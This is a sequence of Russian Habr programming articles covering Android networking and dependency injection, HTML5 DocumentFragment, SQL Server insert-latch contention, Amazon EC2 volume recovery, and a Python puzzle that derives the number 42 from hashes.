Добавить в gradle(app module):
```
compile 'com.google.code.gson:gson:2.7'
compile 'com.squareup.retrofit2:retrofit:2.1.0'
compile 'com.squareup.retrofit2:converter-gson:2.1.0'
//если использовать rxJava то еще и
compile 'io.reactivex.rxjava2:rxjava:2.0.1'
compile 'io.reactivex.rxjava2:rxandroid:2.0.1'
compile 'com.jakewharton.retrofit:retrofit2-rxjava2-adapter:1.0.0'
```
Сначала берут сайт для конвертации с json в pojo вроде [этого](http://www.jsonschema2pojo.org/) и копируют все классы которые сгенерировались в AndroidStudio:
Потом создают интерфейс(Я использую retrofit вместе с RxJava):
```
public interface IWeatherProvider{
@GET("/premium/v1/weather.ashx")
Observable getWeather(@QueryMap Map map);
}
```
В QueryMap бросают query параметры(например api key). Хотя можно вместо @QueryMap использовать просто [Query](https://habrahabr.ru/users/query/) но тогда для каждого параметра надо прописать свой query.
После этого:
```
Retrofit retrofit = Retrofit.Builder()
.addConverterFactory(GsonConverterFactory.create(gson))
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.baseUrl(Constants.WEATHER_BASE_URL)
.build();
...
retrofit.create(IWeatherProvider);
```
Потом нужно за полнить параметры данными:
```
HashMap mapJson = new HashMap<>();
mapJson.put("key", Constants.WEATHER\_API\_KEY);
mapJson.put("q", latitude + "," + longitude);
mapJson.put("num\_of\_days", "14");
mapJson.put("date", "today");
mapJson.put("format", "json");
```
И вызвать `iweatherProvider.getWeather(mapJson);`
И наконец:
```
new CompositeDisposable().add(weatherProvider
.observeOn(Schedulers.newThread())
.subscribeOn(Schedulers.io())
.subscribe(onNext, onError));
```
В случае если вы не используете RxJava замените в интерфейсе Observable на Call и сделайте
```
iweatherProvider.getWeather(mapJson).enqueue(callback);
```
Dagger 2
--------
Создан гуглом. Помогает реализовать паттерн Dependency Injection. С помощью Dagger'а можно круто структурировать проект, что очень хорошо сказывается на читабельности кода и помогает в тестировании(кстати использовать retrofit вместе с dagger'ом само наслаждение). Смысл в том что все классы хотят работать уже с готовыми данными, им нужно лишь получить их, и что-то с ними сделать. Но кто-то должен предоставлять данные. Эту роль на себя берет dagger. Основа Dagger это компоненты, вот один из них:
```
@Component(modules = {WeatherInfoTaskModule.class})
public interface RetrofitComponent {
void inject(MainActivity activity);
}
```
Все компоненты состоят из модулей, в одном компоненте может быть несколько модулей, вот пример модуля:
```
@Module
public class WeatherInfoTaskModule {
@Provides
Gson provideGson() {
Log.d(TAG, "gson");
return new GsonBuilder().create();
}
@Provides
IWeatherProvider provideWeather(Retrofit retrofit) {
Log.d(TAG, "weather");
return retrofit.create(IWeatherProvider.class);
}
@Provides
Retrofit provideRetrofit(Gson gson) {
Log.d(TAG, "retrofit");
return new Retrofit.Builder()
.addConverterFactory(GsonConverterFactory.create(gson))
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.baseUrl(Constants.WEATHER_BASE_URL)
.build();
}
}
```
Внутри модулей находятся функции с аннотацией Provides, как следует из аннотации они поставляют данные. В основном эти функции делят на модули по смыслу(к примеру геолокация). И здесь возникает логичный вопрос, ну как это использовать?
Очень просто. В вашей активити помечаете поля которые должны получить данные аннотацией Inject( `@Inject IWeatherProvider mWeatherProvider;`). Потом создаете свой `Application` класс:
```
public class App extends Application {
private static RetrofitComponent component;
@Override
public void onCreate() {
super.onCreate();
component = DaggerRetrofitComponent.create();
}
public RetrofitComponent getComponent() {
return component;
}
}
```
В MainActivity в OnCreate сделайте следущее:
```
@Inject IWeatherProvider mWeatherProvider;
...
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
((App) getApplicationContext()).getComponent().inject(this);
}
```
P.S. Не забудьте добавить App класс в манифест.
В gradle(app):
```
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'com.neenbedankt.gradle.plugins:android-apt:1.8'
}
}
apply plugin: 'com.neenbedankt.android-apt'
apply plugin: 'android-apt'
dependencies{
compile 'com.google.dagger:dagger:2.7'
apt 'com.google.dagger:dagger-compiler:2.7'
}
```
в gradle(project module):
```
classpath 'com.neenbedankt.gradle.plugins:android-apt:1.8'
```
***Но что если одной из функций на вход тоже нужны данные?*** В таком случае dagger пробегается по компоненту в поисках функции которая возвращает необходимый класс или тип данных, и когда находит — вызывает.
***Что будет если я поменяю название функции?*** Dagger'у абсолютно все равно на название, его интересуют лишь сигнатуры, поэтому на работу это не влияет.
***Студия подсвечивает класс DaggerRetrofitComponent красны. Что делать?*** Dagger работает на кодогенерации поэтому в таком случает стоит просто сделать rebuild.
Multidex
--------
Рано или поздно разработчик сталкивается с проблемой в 65 тысяч методов. Но начнем сначала. Когда вы хотите установить приложение на телефон вам нужен apk файл. Основа любого apk файла dex файл. Dex файл — это ваши java классы собранные в один файл. Но у dex файла есть ограничение в 65 тысяч методов. И большая часть приложений превышает этот лимит и получает exception при сборке. Для таких случаев создан multidex. В gradle(app module) добавляете:
```
...
defaultConfig {
...
multiDexEnabled true
...
}
...
compile 'com.android.support:multidex:1.0.1'
```
Благодаря [int00h](https://habrahabr.ru/users/int00h/), я исправлю ранее ошибочную информацию.
Для подключения MultiDex есть 3 способа:
* Указать в манифесте у application параметр
```
android:name="android.support.multidex.MultiDexApplication"
```
* Отнаследовать свой класс `App` от `MultiDexApplication`
* Вызвать `MultiDex.install(this);`
в методе attachBaseContext(Context) своего класса `App`
Пост вышел длинным, но зато я надеюсь что хот как-то объяснил. А какими библиотеками пользуетесь вы? | https://habr.com/ru/post/336956/ | null | ru | null |
# Мастерство в HTML5: Fragments
Существует несколько видов DOM-узлов, в частности Document, Element, Text и многие другие, которые формируют общий узел Node. Одним из наиболее интересных узлов является DocumentFragment, несмотря на то, что до настоящего момента он практически не использовался. Он, по большей части, является специальным контейнером для других узлов.
DocumentFragment обрабатывается в большинстве алгоритмов DOM особым образом. В этой статье мы рассмотрим некоторые методы API, разработанные для использования вместе с DocumentFragment. Также мы узнаем, что понятие контейнера узлов играет важную роль в прочих современных веб-технологиях, таких как элемент template или в API всего теневого DOM. Но прежде чем мы начнем, давайте вкратце рассмотрим парсинг фрагментов, который не связан напрямую с DocumentFragment.
#### Парсинг фрагментов
Парсер HTML5 можно использовать не только для анализа целого документа. Также он может использоваться для парсинга части документа. Чтобы вызвать парсинг фрагмента, необходимо настроить такие свойства как innerHTML или outerHTML. Анализ фрагмента выполняется таким же образом, что и обычный парсинг, за некоторыми исключениями. Самое существенное отличие заключается в необходимости контекстуального корня.
Анализируемый фрагмент, скорее всего, будет размещаться как дочерний элемент какого-либо другого элемента, который может иметь или не иметь дополнительные родительские элементы. Данная информация крайне важна для определения текущего режима парсинга, который зависит от текущей иерархии дерева. Кроме того, парсинг фрагмента не приводит к выполнению скрипта из соображений безопасности.
Поэтому мы можем использовать код подобный нижеприведенному, но мы не получим дополнительных результатов. Это не приведет к выполнению скрипта.
```
var foo = document.querySelector('#foo');
foo.innerHTML = '**Hallo World!**alert("Hi.");';
```
Использование парсинга фрагмента – это легкий способ сократить количество DOM-операций. Вместо того чтобы создавать, изменять и добавлять узлы, каждый из которых включает переключение контекста, а значит и DOM-операции, мы работаем исключительно с построением строки, которая потом оценивается и обрабатывается парсером. Таким образом, у нас получается всего одна или две DOM-операции. Недостаток данного метода заключается в том, что нам нужен парсер, и мы должны проделать больше работы в JavaScript. Основной вопрос заключается в следующем: Что требует больше времени? Являются ли различные DOM-операции более затратными, чем все необходимые манипуляции в JavaScript, или наоборот?
Понятно, что все зависит от ситуации. Что касается данного сценария, Гргур Гризогоно сравнил производительность с помощью нескольких методов. Все это также зависит от браузера, особенно от того, насколько быстрый в нем движок JavaScript. Чем выше значение – тем больше операций, и тем более желателен такой результат.
Несмотря на то, что сегодня браузеры намного быстрее, относительное поведение все еще имеет значение. Это должно мотивировать нас искать оптимальные решения и более подробно изучать DocumentFragment.
#### Обобщенные DOM-операции
Смысл узла DocumentFragment довольно прост: это контейнер для объектов Node. Когда добавляется DocumentFragment, он расширяется до той степени, чтобы добавлять только содержимое контейнера, а не сам контейнер. Когда запрашивается полная копия DocumentFragment, его контент также клонируется. Сам контейнер никогда не прилагается к другому узлу, даже если он должен иметь владельца, которым является document, из которого создан фрагмент.
Создание DocumentFragment выглядит следующим образом:
```
var fragment = document.createDocumentFragment();
```
С этой точки зрения, fragment ведет себя точно так же, как и любой другой родительский узел DOM. Мы можем добавлять, удалять узлы или получать доступ к уже существующим узлам. Здесь доступна опция запуска запросов CSS с помощью querySelector и querySelectorAll. Наиболее важно то, что, как уже упоминалось, мы можем клонировать узел с помощью cloneNode().
#### Создание шаблонов в HTML
По сути DocumentFragment нельзя построить в чистом HTML, так как данная концепция может реализовываться только через DOM API. Поэтому контейнеры можно создавать только в JavaScript. Это значительно преуменьшает имеющиеся преимущества. Мы начнем с помещения нашего шаблона в псевдо-элемент script. Этот элемент является псевдо-элементом, потому что атрибут type будет установлен в недействительный mime-тип. Таким образом, ничего не будет выполняться, но текстовый контент элемента будет использовать другие правила парсинга.
Приведенное выше изображение демонстрирует состояния токенизации. Для тегов script используются особенные правила парсинга, так как парсинг будет выполняться в особенном состоянии токенизации. В HTML существует пять состояний токенизации, но пятое, Plaintext, нам не особо интересно.
Состояние Rawtext очень похоже на Script, а потому нам нужно объяснить только три состояния.
Давайте рассмотрим пример. Мы используем три элемента, которые неплохо отражают каждое из оставшихся состояний. Элемент div, как и многие другие, находится в режиме анализируемых символов (PCData). textarea использует RCData вроде элемента title. Состояние Rawtext даже больше похоже на свободные символы, которые можно представить с использованием элемента style. Между выходом из состояния Rawtext и Script существуют довольно незначительные различия. Поэтому в дальнейшем обсуждении мы будем считать их одинаковыми.
```
var example = '
me & you > them';
var types = ["div", "textarea", "script"];
types.forEach(function (type) {
var foo = document.createElement(type);
foo.innerHTML = example;
console.log(foo.innerHTML);
})
``` | https://habr.com/ru/post/273217/ | null | ru | null |
# Избавляемся от PAGELATCH_EX в SQL Server
В этой статье обсудим одну проблему производительности SQL Server, с которой можно столкнуться при вставке большого количества данных.
### Введение
SQL Server спроектирован так, что все операции чтения и изменения данных производятся в оперативной памяти, а не напрямую на диске. Такой подход позволяет уменьшить количество физических операций ввода-вывода, а также улучшить время отклика. Нет сомнений, что в целом такая архитектура положительно сказывается на производительности SQL Server. Эта зарезервированная область памяти называется буферным пулом (buffer pool) или буферным кешем (buffer cache). За координацию изменений и целостность страниц данных и индексов в буферном пуле отвечает внутренний механизм SQL Server, называемый "latch" (защелка). Однако при большой нагрузке этот механизм может приводить к некоторым проблемам производительности.
### Что такое PAGELATCH?
PAGELATCH — это механизм синхронизации потоков, который работает как дирижер, синхронизируя доступ к страницам индекса и данных в буферном пуле. Целью этого является обеспечение согласованности страниц.
### Конкуренция за последнюю страницу при вставке
Для идентификации строк используется первичный ключ, и по умолчанию для него автоматически создается кластерный индекс. Такой подход часто используется разработчиками баз данных. Если столбец дополнительно помечен как `identity`, то мы получаем последовательно увеличивающееся значение ключа. Кластерный индекс хранит данные в упорядоченном виде, поэтому при вставке новой строки она добавляется в конец страницы кластерного индекса, пока эта страница не будет заполнена. Если данные добавляет только один поток, то мы никогда не столкнемся с конкуренцией на последней странице, потому что подобная проблема возникает только при конкурентном доступе. При большом количестве операций INSERT возникает конкуренция за последнюю страницу, так как последняя страница блокируется одним из потоков, а все остальные ждут, пока страница не станет им доступна. Это влияет на производительность SQL Server и провоцирует появление ожиданий PAGELATCH\_EX.
Давайте продемонстрируем эту проблему на очень простом примере. Сначала создадим простую таблицу.
```
CREATE TABLE InsertTestTable(
Id INT PRIMARY KEY IDENTITY(1,1) NOT NULL
, Col VARCHAR(50) NOT NULL)
GO
```
Колонка Id — первичный ключ и кластерный индекс. Она также объявлена как `identity` — значение будет автоматически увеличиваться. Для создания нагрузки будем использовать утилиту [SQLQueryStress.](https://github.com/ErikEJ/SqlQueryStress) Нагрузка будет в виде INSERT.
```
SET NOCOUNT ON;
DECLARE @i int = 1
WHILE @i < 1000
BEGIN
INSERT INTO dbo.InsertTestTable (Col) VALUES ('Test Value')
SET @i += 1
END;
```
В SQLQueryStrees вводим параметры подключения к базе данных.
Устанавливаем 10 итераций (Number of Iterations) и 50 потоков (Number of Threads). Таким образом, SQLQueryStress выполнит запрос 10 раз в 50 потоках одновременно.
Запускаем SQLQueryStress и смотрим, что происходит в SQL Server.
```
SELECT dm_ws.wait_duration_ms,
dm_ws.wait_type,
dm_r.status,
dm_r.wait_resource,
dm_t.TEXT,
dm_qp.query_plan,
dm_ws.session_ID,
dm_es.cpu_time,
dm_es.memory_usage,
dm_es.logical_reads,
dm_es.total_elapsed_time,
dm_es.program_name,
DB_NAME(dm_r.database_id) DatabaseName
FROM sys.dm_os_waiting_tasks dm_ws
INNER JOIN sys.dm_exec_requests dm_r ON dm_ws.session_id = dm_r.session_id
INNER JOIN sys.dm_exec_sessions dm_es ON dm_es.session_id = dm_r.session_id
CROSS APPLY sys.dm_exec_sql_text (dm_r.sql_handle) dm_t
CROSS APPLY sys.dm_exec_query_plan (dm_r.plan_handle) dm_qp
WHERE dm_es.is_user_process = 1
```
Несколько сессий находятся в состоянии suspended с типом ожидания PAGELATCH\_EX. Они ждут страницу, которая в данный момент недоступна.
В колонке wait\_resource есть информация о заблокированной странице:
**11**: Database Id (ИД базы данных)
**1**: File Id (ИД файла)
**14339**: Page Id (ИД страницы)
Заглянуть внутрь этой страницы можно с помощью команды DBCC PAGE.
```
DBCC TRACEON(3604)
GO
DBCC PAGE(11,1,14339,0)
GO
```
Информация о странице содержится в разделе PAGE HEADER.
**m\_type = 1** указывает, что эта страница относится в куче или к листовому уровню кластерного индекса.
**IndexId = 1** указывает, что эта страница принадлежит к индексу, index id, которого равен 1.
**ObjectId = 581577110** — идентификатор объекта базы данных.
Найти имя таблицы и индекса мы можем с помощью следующего запроса.
```
SELECT
name AS Index_Name,
type_desc As Index_Type,
is_unique,
OBJECT_NAME(object_id) As Table_Name
FROM
sys.indexes
WHERE
is_hypothetical = 0 AND
index_id != 0 and object_id=581577110
```
Как видите, проблемный индекс относится таблице, созданной нами ранее. Теперь посмотрим варианты решения этой проблемы. А наш тест тем временем завершился за 58 секунд.
### Параметр OPTIMIZE\_FOR\_SEQUENTIAL\_KEY
Параметр OPTIMIZE\_FOR\_SEQUENTIAL\_KEY появился в SQL Server 2019. Он ограничивает количество потоков, которым разрешено запрашивать `latch`, до одного на планировщик, что сокращает время нахождения в очереди runnable после получения `latch`. Включить этот параметр можно следующим образом:
```
ALTER INDEX PK__InsertTe__3214EC074999CCCE
ON dbo.InsertTestTable SET(OPTIMIZE_FOR_SEQUENTIAL_KEY = ON);
```
После включения параметра OPTIMIZE\_FOR\_SEQUENTIAL\_KEY запустим SQLQueryStress с тем же запросом и прежними настройками.
Теперь вместо PAGELATCH\_EX мы видим BTREE\_INSERT\_FLOW\_CONTROL.
Несмотря на это, мы получили некоторое улучшение производительности.
### Некластерный индекс для первичного ключа
Основное различие между кластерным и некластерным индексом состоит в том, что кластерный индекс хранит таблицу в отсортированном виде. Куча (heap), с другой стороны, не содержит кластерного индекса и, так как при вставке нет необходимости поддерживать сортировку, операции INSERT будут быстрее. Мы можем воспользоваться этим фактом для решения нашей проблемы и уменьшить ожидания PAGELATCH\_EX. Сначала удалим кластерный индекс и первичный ключ в InsertTestTable.
```
ALTER TABLE InsertTestTable
DROP CONSTRAINT PK__InsertTe__3214EC074999CCCE
```
Потом создадим первичный ключ с некластерным индексом.
```
ALTER TABLE InsertTestTable
ADD CONSTRAINT PrimaryKey_Id
PRIMARY KEY NONCLUSTERED (ID)
```
После создания некластерного индекса запустим SQLQueryStress с прежними параметрами.
Тест завершился за 57 секунд и не сильно повлиял на производительность SQL Server при операциях INSERT.
Таблицы, оптимизированные для памяти
------------------------------------
Вместо таблиц на диске мы можем использовать таблицы, оптимизированные для памяти (In-Memory Optimized Tables). В контексте производительности SQL Server таблицы, оптимизированные для памяти, могут помочь решить проблемы с блокировками.
Для создания таблицы, оптимизированной для памяти, сделаем следующее:
— Добавим файловую группу
```
ALTER DATABASE SQLShackDemo
ADD FILEGROUP SQLShackDemo_mod CONTAINS MEMORY_OPTIMIZED_DATA;
```
— Добавим файл в созданную файловую группу.
```
ALTER DATABASE SQLShackDemo
ADD FILE (name='SQLShackDemo_mod1',
FILENAME='C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\SQLShackDemo_mod1.ndf')
TO FILEGROUP SQLShackDemo_mod
```
После создания файловой группы и файла создадим таблицу с DURABILITY = SCHEMA\_AND\_DATA. Есть два типа оптимизированных для памяти таблиц: SCHEMA\_ONLY и SCHEMA\_AND\_DATA.![]()
### SCHEMA\_ONLY
В таких таблицах при перезапуске SQL Server данные теряются, но схема сохраняется. Таблицы SCHEMA\_ONLY работают очень быстро, потому что они не генерируют никаких физических операций ввода-вывода.
### SCHEMA\_AND\_DATA
В таблицах этого типа данные и схема не теряются, они ведут себя как обычные таблицы.
Создадим таблицу, оптимизированную для памяти с некластерным индексом и первичным ключом. Таблицы, оптимизированные для памяти, не поддерживают кластерные индексы.
```
CREATE TABLE InMemoryInsertTestTable
(Id INTEGER NOT NULL IDENTITY(1, 1) PRIMARY KEY NONCLUSTERED,
Col VARCHAR(50) NOT NULL
) WITH(MEMORY_OPTIMIZED = ON, DURABILITY = SCHEMA_AND_DATA);
```
И запустим наш тест.
Как видите, использование оптимизированных для памяти таблиц значительно улучшило производительность SQL Server для операций INSERT, и мы больше не видим ожиданий PAGELATCH\_EX.
Выводы
------
В этой статье мы поговорили о проблеме вставки данных в последнюю страницу и о причинах ее возникновения. Проблема с последней страницей отрицательно сказывается на производительности SQL Server при интенсивных вставках данных. Решить эту проблему можно следующими способами:
* Включить параметр OPTIMIZE\_FOR\_SEQUENTIAL\_KEY.
* Использовать таблицы, оптимизированные для памяти (In-memory OLTP).
* Использовать некластерный индекс для первичного ключа.
---
> Материал подготовлен в рамках курса ["MS SQL Server Developer"](https://otus.pw/0hYf/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [**здесь**](https://otus.pw/NPGJ/).
>
> | https://habr.com/ru/post/569878/ | null | ru | null |
# Что делать если в Ваш Amazon EC2 instance ударила молния?
Как многим известно, недавно в Ирландии был обесточен один из датацентров Amazon. Об этом уже [рассказывали](http://habrahabr.ru/company/bitrix/blog/125932/). Как я понял из общения со своими коллегами, большинство пользователей Amazon EC2 получили разве что downtime, но вот мне не повезло больше — у меня не только инстансы остановились, но один из моих volume-ов перешел в состояние error.
Все бы ничего (ведь есть snapshot-ы), но вот незадача: отключать (detach) EBS volume-ы нельзя, если они подключены как root к какому либо инстансу. Во всяком случае через web.
И так, у вас есть instance в состоянии stopped. К нему подключен volume со статусом error. Так же должно прийти письмо с извинениями и примитивными инструкциями по типу «не беспокойтесь, просто подключите восстановленный из snapshot-a volume». Но как оказалось не все так просто. Приведу список шагов, которые мне пришлось сделать, чтоб восстановить свой instance.
Небольшое замечание: Возможно для тех, кто активно работают с Amazon EC2 это не выглядит проблемой. Но для меня, который к EC2 относился «работает? круто!», было не так просто разобраться как и что делать. По этому, инструкция скорее для тех, кто попал в такое же положение, и не хочет создавать новый инстанс просто удалив старый.
В support я написал, но они кроме сочувсвующих советов использовать Amazon AMI/API Tools ничего не смогли подсказать.
Даже если сейчас «молния ударила» мимо вашего сервера, это еще не значит что в следующий раз тоже «пронесет».
Итак, что я делал:
### 1. Восстановление из Recoverty snapshot
Первое что нужно сделать, это зайти в AWS Management Console, Elastic Block Storage -> Snapshots. Там должен быть snapshot с описанием «Recovery snapshot for vol-XXXXXXX». С него надо создать восстановленную копию volume-a.
### 2. Попытаться отсоеденить поломанный volume
А вдруг повезет? Процетирую то, что мне отписали в суппорте:
> You can select «Detach Volume» from within the AWS Management Console to detach this volume from your instance. You may need to execute multiple force-detaches if this hangs in a «detaching» state.
>
>
>
> If you are unable to do either command or both are appearing to fail, you would need to launch a new instance and attach your newly recovered volume to this new instance.
>
>
> Вы можете выбрать «Detach Volume» из AWS Management Console для того, чтоб отсоеденить volume от вашего инстанса. Возможно Вам надо будет выполнить несколько операций по отключению с включенной опцией «force» если оно подвисает в состоянии «detaching».
>
>
>
> Если у вас не получилось какую либо комманду, вам прийдется создать новый инстанс и подключить восстановленный volume к инстансу.
>
>
К сожалению у меня не вышло — на все операции выдавало «Unable to ...»
### 3. Воспользоватся AMI Tools
Итак, единственное решение в данной ситуации — использовать Amazon AMI Tools.
Загрузить можно вот [вот отсюда](http://docs.amazonwebservices.com/AWSEC2/latest/CommandLineReference/).
Так, как у меня Ubuntu, мне достаточно было:
```
sudo apt-get install ec2-ami-tools
sudo apt-get install ec2-api-tools
```
Под Windows должно быть не намного сложнее.
Далее нужно создать ключи доступа. Это немного другое, чем «Key pairs» в Network/Security в Management Console.
Для того, чтоб создать пару ключ-сертификат доступа, необходимо зайти на [aws.amazon.com](http://aws.amazon.com/), там выбрать Account -> Security Credentials. Там перейти на закладку x.509 Certificates. Там нажать на «Create a new Certificate» и сохранить два файла — один сертификат (назовем условно ec2-cert.pem) и приватный ключик (ec2-key.pem).
Важно: не перепутайте местами ключ и сертификат. Они имеют одинаковые расширения (.pem) но если из поменять местами, тулзы будут выпадать с java.security.cert.CertificateParsingException.
Далее лучше (хотя не обязательно — можно через параметры) установить переменные окружения:
```
export EC2_CERT=~/путь-к-файлам/ec2_cert.pem
export EC2_PRIVATE_KEY=~/путь-к-файлам/ec2-key.pem
```
После этого можно проверить все ли нормально подхватилось:
```
$ ec2-describe-regions
REGION eu-west-1 ec2.eu-west-1.amazonaws.com
REGION us-east-1 ec2.us-east-1.amazonaws.com
REGION ap-northeast-1 ec2.ap-northeast-1.amazonaws.com
REGION us-west-1 ec2.us-west-1.amazonaws.com
REGION ap-southeast-1 ec2.ap-southeast-1.amazonaws.com
```
Вот в регионе eu-west-1 и произошла проблема, а у меня там хостилса инстанс. Смотрим наши инстансы:
```
$ ec2-describe-instances
RESERVATION ....
INSTANCE ...(тут много ненужной инфы)
BLOCKDEVICE /dev/sda1 vol-20155a49 2011-05-20T14:14:54.000Z
...
```
Вот BLOCKDEVICE нам и нужен (а за одно, запомните /dev/sda1 — он еще понадобится). А именно «vol-20155a49» (у вас, конечно же, будет другой). Проверяем в консоли — действительно ли этот тот самый volume который не хочет отключатся? Если да, то нам остался последний шаг:
```
$ ec2-detach-volume --region eu-west-1 vol_2055a49 --force
```
После этого заходим в консоль управления и спокойно подключаем volume, восстановленный из снепшота. Кстати, вот тут и надо вспомнить что было сразу после BLOCKDEVICE — у меня это было "/dev/sda1".
Готово! Теперь можете стартовать инстанс :)
Как резюме могу сказать, что Amazon AMI/API Tools не так сложны как кажется (205 утилит в суме), и их вполне можно использовать тогда, когда web-консоль управления пасует.
*Ни грозы, ни пожаров вашим серверам!*
Полезные ссылки:
\* [Инструкция по настройке утилит](http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/index.html?SettingUp_CommandLine.html)
\* [Как использовать ключи и сертификаты](http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/index.html?using-credentials.html#using-credentials-certificate)
\* Загрузить утилиты: [AMI](http://aws.amazon.com/developertools/368)/[API](http://aws.amazon.com/developertools/351) | https://habr.com/ru/post/126729/ | null | ru | null |
# «Конкурс» на лучшую программную реализацию, выводящую число ‘‘сорок два’’
Понимаю, что данная статья наверняка вызовет вопросы у модераторов (о целесообразности её пребывания на Хабре), но где как не здесь [на [крупнейшем в Европе](https://habrahabr.ru/info/about/) ресурсе для IT-специалистов] поднимать вопрос [ответа на главный вопрос](https://ru.wikipedia.org/wiki/Ответ_на_главный_вопрос_жизни,_вселенной_и_всего_такого) с точки зрения IT?
Для начала вкратце объясню, почему этот вопрос вообще актуален.
```
░░░░░░░░░░░░░░░░░░░░░░░░░░
░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░
░░▒▒▓▓██▓▓██▓▓██████▓▓▒▒░░
░░▒▒▓▓██▓▓██▓▓▓▓▓▓██▓▓▒▒░░
░░▒▒▓▓██████▓▓██████▓▓▒▒░░
░░▒▒▓▓▓▓▓▓██▓▓██▓▓▓▓▓▓▒▒░░
░░▒▒▓▓▓▓▓▓██▓▓██████▓▓▒▒░░
░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░
░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░
░░░░░░░░░░░░░░░░░░░░░░░░░░
```
Наверняка, многие их вас обратили внимание на ~~злоупотребление~~частое встречание числа ‘‘сорок два’’ на веб-страницах, посвящённых IT-тематике. Вот примеры, которые встретились лично мне:
**Осторожно, 16 больших скриншотов!**[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2001-11-2017%20195515%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2005-02-2018%20085859%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2006-03-2018%20224345%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2010-12-2017%20135017%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2024-11-2017%20170731%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2024-11-2017%20200223%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/1.%20Скриншот%2027-11-2017%20175712%20'42'.png)
**Остальные 9 скриншотов**[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2001-02-2018%20174315%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2015-11-2017%20230625%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2025-10-2017%20183841%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2025-10-2017%20191256%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2027-10-2017%20222828%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2028-10-2017%20171241%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2029-11-2017%20124802%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/2.%20Скриншот%2030-10-2017%20123937%20'42'.png)
[](https://raw.githubusercontent.com/alextretyak/2-42/master/'42'/3.%20Скриншот%2013-12-2017%20104403%20'42'.png)
Этот факт навёл меня на мысль/идею о том, что стоит запретить использование числа 42 в документации к своим проектам. А так как просто хардкодить это число — неинтересно, возникла идея устроить такой вот "конкурс".
Оставляйте свои варианты [на любом языке программирования] в комментариях (если хочется иметь возможность подправить свой код в будущем, тогда давайте ссылку [на gist в GitHub, на snippet в Bitbucket или на pastebin.com]).
"Конкурс" — бессрочный, так что можете не торопиться и хорошо подумать.
**Вот моя реализация (требуется Python 3.6 и выше)**
```
import hashlib
def calculate_sacred_number():
results = []
for hash_algorithm in hashlib.algorithms_available: # || Обходим все доступные хэш-алгоритмы
# \\ (список включает в себя MD5, RIPEMD, семейство SHA и BLAKE, всего — 32 алгоритма)
if "shake" in hash_algorithm: # Пропускаем алгоритмы SHAKE, так как они требуют указания дополнительного аргумента length в hexdigest()
continue
for uppercase in range(2): # || Проверяем варианты написания как строчными, так и ПРОПИСНЫМИ буквами
for space in range(2): # || Проверяем варианты написания с дефисом и через пробел
for n in range(10, 100): # || Проверяем все двузначные числа
global numbers
nw = numbers[n] # || Получаем текущее число, записанное словами на английском языке
if uppercase:
nw = nw.upper()
if space:
nw = nw.replace('-', ' ')
ns = str(n)
digest1 = hashlib.new(hash_algorithm, nw.encode()).hexdigest() # || Считаем хэш от записанного словами числа,
digest2 = hashlib.new(hash_algorithm, ns.encode()).hexdigest() # || а также от этого же числа, преобразованного в строку
for i in range(2): # // Проверяем целый хэш, а также первую половину хэша
if ( digest1[ 0] == ns[0] and digest2[ 0] == ns[0] # || Оба хэша должны начинаться на первую цифру текущего числа ...
and digest1[-1] == ns[1] and digest2[-1] == ns[1]): # || ... и заканчиваться на вторую цифру.
results += [ns]
# // Берём первую половину хэша
digest1 = digest1[:len(digest1)//2]
digest2 = digest2[:len(digest2)//2]
assert(len(results) == 1) # || Должно быть только одно "выигравшее" число
return results[0] # || Возвращаем это число
# // From [https://stackoverflow.com/a/8982279/2692494 ‘How do I tell Python to convert integers into words’]:
numbers = "zero one two three four five six seven eight nine".split()
numbers.extend("ten eleven twelve thirteen fourteen fifteen sixteen".split())
numbers.extend("seventeen eighteen nineteen".split())
numbers.extend(tens if ones == "zero" else (tens + "-" + ones)
for tens in "twenty thirty forty fifty sixty seventy eighty ninety".split()
for ones in numbers[0:10])
print(calculate_sacred_number())
```
Код обильно приправлен комментариями, так что словесным объяснением его не сопровождаю.
P.S. [Вот](https://github.com/alextretyak/2-42/blob/master/2.pq) исходник данной статьи (на [пк-разметке](https://habrahabr.ru/post/348218/)). | https://habr.com/ru/post/349592/ | null | ru | null |
# Cocos2d-x: несколько рекомендаций, как не допустить утечек памяти
